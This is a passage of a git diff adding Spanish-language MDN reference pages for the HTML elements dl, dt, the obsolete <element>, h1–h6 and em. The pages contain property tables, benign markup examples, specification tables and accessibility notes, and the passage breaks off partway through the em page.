+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-div">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/dl/index.html b/files/es/web/html/elemento/dl/index.html
new file mode 100644
index 0000000000..9bea9588ce
--- /dev/null
+++ b/files/es/web/html/elemento/dl/index.html
@@ -0,0 +1,219 @@
+---
+title: dl
+slug: Web/HTML/Elemento/dl
+tags:
+  - Agrupando contenido HTML
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/dl
+---
+<div>{{HTMLRef}}</div>
+
+<p>El elemento <strong>HTML <code>&lt;dl&gt;</code>  </strong>representa una lista descriptiva. El elemento encierra una lista de grupos de términos (especificados con el uso del elemento {{HTMLElement("dt")}}) y de descripciones (proveídas con elementos {{HTMLElement("dd")}}). Algunos usos comunes para este elemento son implementar un glosario o para desplegar metadatos (lista de pares llave-valor).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dl.html", "tabbed-standard")}}</div>
+
+<p class="hidden">El contenido para este ejemplo interactivo se encuentra almacenado en un repositorio GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> y envía la petición de extración (pull request).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido de flujo</a>, y si los elementos hijos de <code>&lt;dl&gt;</code> incluyen un grupo nombre-valor, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>
+    <p>Ya sea: Cero o más grupos cada uno consistiendo en uno o más elementos {{HTMLElement("dt")}} seguidos por uno o más elementos {{HTMLElement("dd")}}, opcionalmente intercalados con elementos {{HTMLElement("script")}} y elementos {{HTMLElement("template")}}.<br>
+     O: Uno o más elementos {{HTMLElement("div")}}, opcionalmente entremezclados con elementos {{HTMLElement("script")}} y elementos {{HTMLElement("template")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de Tag</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">contenido de flujo</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLDListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Los atributos de este elemento incluyen los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Término_sencillo_y_descripción">Término sencillo y descripción</h3>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    A free, open source, cross-platform,
+    graphical web browser developed by the
+    Mozilla Corporation and hundreds of
+    volunteers.
+  &lt;/dd&gt;
+
+  &lt;!-- Other terms and descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Salida:</p>
+
+<p><img alt="Image:HTML-dl1.png" src="/@api/deki/files/241/=HTML-dl1.png"></p>
+
+<h3 id="Múltiples_términos_descripción_sencilla">Múltiples términos, descripción sencilla</h3>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dt&gt;Mozilla Firefox&lt;/dt&gt;
+  &lt;dt&gt;Fx&lt;/dt&gt;
+  &lt;dd&gt;
+    A free, open source, cross-platform,
+    graphical web browser developed by the
+    Mozilla Corporation and hundreds of
+    volunteers.
+  &lt;/dd&gt;
+
+  &lt;!-- Other terms and descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Salida:</p>
+
+<p><img alt="Image:HTML-dl2.png" src="/@api/deki/files/242/=HTML-dl2.png"></p>
+
+<h3 id="Término_sencillo_múltiples_descripciones">Término sencillo, múltiples descripciones</h3>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    A free, open source, cross-platform,
+    graphical web browser developed by the
+    Mozilla Corporation and hundreds of
+    volunteers.
+  &lt;/dd&gt;
+  &lt;dd&gt;
+    The Red Panda also known as the Lesser
+    Panda, Wah, Bear Cat or Firefox, is a
+    mostly herbivorous mammal, slightly larger
+    than a domestic cat (60 cm long).
+  &lt;/dd&gt;
+
+  &lt;!-- Other terms and descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Output:</p>
+
+<p><img alt="Image:HTML-dl3.png" src="/@api/deki/files/243/=HTML-dl3.png"></p>
+
+<h3 id="Múltiples_términos_y_descripciones">Múltiples términos y descripciones</h3>
+
+<p>También es posible definir múltiples términos con múltiples descripciones correspondientes, combinando los ejemplos de arriba.</p>
+
+<h3 id="Metadatos">Metadatos</h3>
+
+<p>Las listas descriptivas son útiles para desplegar metadatos como una lista de pares llave-valor.</p>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;Name&lt;/dt&gt;
+  &lt;dd&gt;Godzilla&lt;/dd&gt;
+  &lt;dt&gt;Born&lt;/dt&gt;
+  &lt;dd&gt;1952&lt;/dd&gt;
+  &lt;dt&gt;Birthplace&lt;/dt&gt;
+  &lt;dd&gt;Japan&lt;/dd&gt;
+  &lt;dt&gt;Color&lt;/dt&gt;
+  &lt;dd&gt;Green&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Tip: Puede ser útil definir un separador llave-valor en el CSS, como:</p>
+
+<pre class="brush: css notranslate">dt::after {
+  content: ": ";
+}</pre>
+
+<h3 id="Encapsulado_de_grupos_nombre-valor_en_elementos_HTMLElementdiv">Encapsulado de grupos nombre-valor en elementos {{HTMLElement("div")}}</h3>
+
+<p><a href="/es/docs/Glossary/WHATWG">WHATWG</a> HTML permite encapsular cada grupo nombre-valor de un elemento {{HTMLElement("dl")}} en un elemento {{HTMLElement("div")}}. Esto puede ser útil cuando se utilizan <a href="/es/docs/Web/HTML/Microdata">microdatos</a>, o cuando <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> apliquen a todo el grupo, o por motivos de estilo.</p>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Name&lt;/dt&gt;
+    &lt;dd&gt;Godzilla&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Born&lt;/dt&gt;
+    &lt;dd&gt;1952&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Birthplace&lt;/dt&gt;
+    &lt;dd&gt;Japan&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Color&lt;/dt&gt;
+    &lt;dd&gt;Green&lt;/dd&gt;
+  &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>No use este elemento (ni elementos {{HTMLElement("ul")}}) solo para crear sangría en una página. Si bien funciona, es una mala práctica y obscurece el signinifcado de las listas descriptivas.</p>
+
+<p>Para cambiar la indentación de un término, usa la propiedad {{cssxref("margin")}} de <a href="/es/docs/Web/CSS">CSS</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_Web">Compatibilidad Web</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada con datos estructurados. Si desea contribuir a la información, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envie una petición de extración (pull request).</div>
+
+<p>{{Compat("html.elements.dl")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("dt")}} element</li>
+ <li>{{HTMLElement("dd")}} element</li>
+</ul>
diff --git a/files/es/web/html/elemento/dt/index.html b/files/es/web/html/elemento/dt/index.html
new file mode 100644
index 0000000000..7cbf0c3182
--- /dev/null
+++ b/files/es/web/html/elemento/dt/index.html
@@ -0,0 +1,103 @@
+---
+title: dt
+slug: Web/HTML/Elemento/dt
+tags:
+  - Contenido agrupado HTML
+  - Definición
+  - Elemento
+  - HTML
+  - Lista de definiciones
+  - Referencia
+  - Término
+  - Término de definición
+  - dt
+  - listas
+translation_of: Web/HTML/Element/dt
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El  <strong>elemento HTML <code>&lt;dt&gt;</code> </strong>especifica un término en una descripción o lista de definiciones, y como tal debe utilizarse dentro de un elemento {{HTMLElement("dl")}}</span> Es usualmente seguido por un elemento {{HTMLElement("dd")}}; sin embargo, múltiples elementos <code>&lt;dt&gt;</code>  en un renglón indican diferentes términos los cuales todos son definidos por el siguiente elemento {{HTMLElement("dd")}}.</p>
+
+<p>El subsecuente elemento {{HTMLElement("dd")}} (<strong>Detalles de la descripción</strong>) provee la definición u otro texto relacionado asociado con el término especificado utilizando <code>&lt;dt&gt;</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dt.html", "tabbed-standard")}}</div>
+
+<p class="hidden">La fuente para este ejemplo interactivo se encuetra almacenado en un repositorio GitHub. Si desea contribuir al proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>y envíe una petición de extración (pull request).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td>Ninguno.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido de flujo</a>, pero sin {{HTMLElement("header")}}, {{HTMLElement("footer")}}, contenido seccionado o encabezados descendientes de contenido.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de Tag</th>
+   <td>Debe tener un tag inicial. El tag final puede ser omitido si este elemento es seguido inmediatamente después por otro elemento <code>&lt;dd&gt;</code>,  o si no hay más contenido en el elemento padre.</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Antes de un elemento {{HTMLElement("dt")}} o elemento {{HTMLElement("dd")}}, dentro de un {{HTMLElement("dl")}} o (en <a href="/es/docs/Glossary/WHATWG">WHATWG</a> HTML) un {{HTMLElement("div")}} que esta dentro de un {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the <a href="/es/docs/DOM/span"><code>HTMLSpanElement</code></a> interface for this element.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento solo incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Para ver un ejemplo, vea el <a href="/es/docs/Web/HTML/Elemento/dl#Examples">proveído por el elemento <code>&lt;dl&gt;</code></a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatiblidad es esta página es generada desde estructuras de datos. Si desea contribuir a la información, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíe su petición de extracción (pull request).</div>
+
+<p>{{Compat("html.elements.dt")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTMLElement("dd")}}, {{HTMLElement("dl")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/element/index.html b/files/es/web/html/elemento/element/index.html
new file mode 100644
index 0000000000..814711131f
--- /dev/null
+++ b/files/es/web/html/elemento/element/index.html
@@ -0,0 +1,110 @@
+---
+title: <element>
+slug: Web/HTML/Elemento/element
+translation_of: Web/HTML/Element/element
+---
+<div class="note">
+<p><strong>Nota:</strong> Este elemento ha sido borrado de la especificación. Mira <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">esto</a> para obtener más información desde el editor de la espeficicación.</p>
+</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El <strong>elemento <a href="/es/docs/Web/HTML">HTML</a> <code>&lt;element&gt;</code></strong> es utilizado para personalizar los elementos DOM.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido" title="HTML/Categorias_de_contenido">Categorias de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Modelo_de_contenido_transparente">Contenido transparente</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido Permitido</th>
+   <td>???</td>
+  </tr>
+  <tr>
+   <th scope="row">Etiquetas omitidas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>???</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p>El texto va aquí</p>
+
+<pre class="brush: html">Más texto va aquí.
+</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<p>El elemento <code>&lt;element&gt;</code> fue formulado en un borrador de la especificación de <a href="http://w3c.github.io/webcomponents/spec/custom/">elementos personalizados</a>, que se ha eliminado.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad dee navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver También" name="Ver También">Ver También</h2>
+
+<ul>
+ <li>Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("template")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/elementos_títulos/index.html b/files/es/web/html/elemento/elementos_títulos/index.html
new file mode 100644
index 0000000000..be0dd6801b
--- /dev/null
+++ b/files/es/web/html/elemento/elementos_títulos/index.html
@@ -0,0 +1,240 @@
+---
+title: Elementos títulos
+slug: Web/HTML/Elemento/Elementos_títulos
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Referencia
+  - Secciones HTML
+  - Todas_las_Categorías
+  - Web
+translation_of: Web/HTML/Element/Heading_Elements
+---
+<p id="Summary">Los elementos de <strong>encabezado</strong> implementan seis niveles de encabezado del documento, <code>&lt;h1&gt;</code> es el más importante, y <code>&lt;h6&gt;</code>, el menos importante. Un elemento de encabezado describe brevemente el tema de la sección que presenta. La información de encabezado puede ser usada por los agentes usuarios, por ejemplo, para construir una tabla de contenidos para un documento automáticamente.</p>
+
+<div class="note">
+<p><strong>Notas de uso:</strong></p>
+
+<ul>
+ <li>No se deben usar niveles inferiores para reducir el tamaño de la fuente: use la propiedad <a href="/en-US/docs/Web/CSS">CSS</a> {{cssxref("font-size")}} para eso.</li>
+ <li>Evite omitir niveles de encabezado: siempre comience con <code>&lt;h1&gt;</code>, después use <code>&lt;h2&gt;</code> y así sucesivamente.</li>
+ <li>Con el elemento {{HTMLElement("section")}}, debe considerar evitar usar &lt;h1&gt; más de una vez en una página; por costumbre, se usa para mostrar el título de la página, con todos los encabezados debajo de éste comenzando con <code>&lt;h2&gt;</code>. Cuando se usan secciones, debe usarse un <code>&lt;h1&gt;</code> por sección. Véase <a href="/es/docs/Sections_and_Outlines_of_an_HTML5_document#Definiendo_secciones_en_HTML5">Definiendo secciones</a> en <a href="/es/docs/Sections_and_Outlines_of_an_HTML5_document">Secciones y esquema de un documento HTML5</a> para más información.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, contenido de encabezados, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">Contenido textual o estático</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padres permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">contenido dinámico</a>; no debe usarse como hijo del elemento {{HTMLElement("hgroup")}}, pues éste es obsoleto</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLHeadingElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Estos elementos incluyen los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<p>El atributo <code>align</code> es obsoleto; no debe usarse.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Todos_los_encabezados">Todos los encabezados</h3>
+
+<p>El siguiente código muestra todos los niveles de encabezado.</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+&lt;h5&gt;Heading level 5&lt;/h5&gt;
+&lt;h6&gt;Heading level 6&lt;/h6&gt;
+</pre>
+
+<p>Aquí está el resultado de este código:</p>
+
+<p>{{ EmbedLiveSample('Todos_los_encabezados', '280', '300', '') }}</p>
+
+<h3 id="Página_de_ejemplo">Página de ejemplo</h3>
+
+<p>El código siguiente muestra unos pocos encabezados con algo de contenido debajo de ellos.</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading elements&lt;/h1&gt;
+&lt;h2&gt;Summary&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;Examples&lt;/h2&gt;
+&lt;h3&gt;Example 1&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h3&gt;Example 2&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;See also&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+</pre>
+
+<p>Aquí está el resultado de este código:</p>
+
+<p>{{ EmbedLiveSample('Página_de_ejemplo', '280', '480', '') }}</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<h3 id="Navegación">Navegación</h3>
+
+<p>Una forma típica de navegación que utilizan las personas no videntes es moverse a través de la pantalla con las etiquetas de encabezado. De esta forma, pueden conocer rápidamente el contenido de la página en poco tiempo; por esta razón es importante prestar mucha atención a nuestras etiquetas de encabezado y no saltearse ningún nivel o podríamos confundir a este usuario.</p>
+
+<h4 id="No_hacer">No hacer</h4>
+
+<pre class="brush: html example-bad">&lt;h1&gt;Cabecera nivel 1&lt;/h1&gt;
+&lt;h3&gt;Cabecera nivel 3&lt;/h3&gt;
+&lt;h4&gt;Cabecera nivel 4&lt;/h4&gt;
+</pre>
+
+<h4 id="Sí_hacer">Sí hacer</h4>
+
+<pre class="brush: html example-good">&lt;h1&gt;Cabecera nivel 1&lt;/h1&gt;
+&lt;h2&gt;Cabecera nivel 2&lt;/h2&gt;
+&lt;h3&gt;Cabecera nivel 3&lt;/h3&gt;
+</pre>
+
+<h4 id="Anidar">Anidar</h4>
+
+<p>Las etiquetas de cabecera pueden anidarse para generar sub-secciones en nuestros documentos. Esto beneficia la organización de la información y también ayuda a los usuarios de lectores de pantalla a conocer mejor la jerarquía de los contenidos.</p>
+
+<ol>
+ <li><code>h1</code> Harry Potter
+
+  <ol>
+   <li><code>h2</code> Sinopsis</li>
+   <li><code>h2</code> Novelas
+    <ol>
+     <li><code>h3</code> Harry Potter y la Piedra Filosofal</li>
+     <li><code>h3</code> Harry Potter y la Cámara de los Secretos</li>
+     <li><code>h3</code> Harry Potter y el Prisionero de Azkaban</li>
+     <li><code>h3</code> Harry Potter y el Cáliz de Fuego</li>
+     <li><code>h3</code> Harry Potter y la Orden del Fenix</li>
+     <li><code>h3</code> Harry Potter y el Príncipe Mestizo</li>
+     <li><code>h3</code> Harry Potter y las Reliquias de la Muerte</li>
+    </ol>
+   </li>
+   <li><code>h2</code> Películas
+    <ol>
+     <li><code>h3</code> Harry Potter y la Piedra Filosofal</li>
+     <li><code>h3</code> Harry Potter y la Cámara de los Secretos</li>
+     <li><code>h3</code> Harry Potter y el Prisionero de Azkaban</li>
+     <li><code>h3</code> Harry Potter y el Cáliz de Fuego</li>
+     <li><code>h3</code> Harry Potter y la Orden del Fenix</li>
+     <li><code>h3</code> Harry Potter y el Príncipe Mestizo</li>
+     <li><code>h3</code> Harry Potter y las Reliquias de la Muerte (Parte 1)</li>
+     <li><code>h3</code> Harry Potter y las Reliquias de la Muerte (Parte 2)</li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}}</li>
+ <li>{{HTMLElement("div")}}</li>
+ <li>{{HTMLElement("section")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/em/index.html b/files/es/web/html/elemento/em/index.html
new file mode 100644
index 0000000000..d24fa05f81
--- /dev/null
+++ b/files/es/web/html/elemento/em/index.html
@@ -0,0 +1,60 @@
+---
+title: em
+slug: Web/HTML/Elemento/em
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/em
+---
+<div>{{HTMLRef}}</div>
+
+<p>El <strong>elemento HTML <code>&lt;em&gt;</code></strong> es el apropiado para marcar con énfasis las partes importantes de un texto. El elemento <code>&lt;em&gt;</code> puede ser anidado, con cada nivel de anidamiento indicando un mayor grado de énfasis.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/em.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">contenido textual o estático</a>, contenido palpable</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">Contenido textual o estático</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
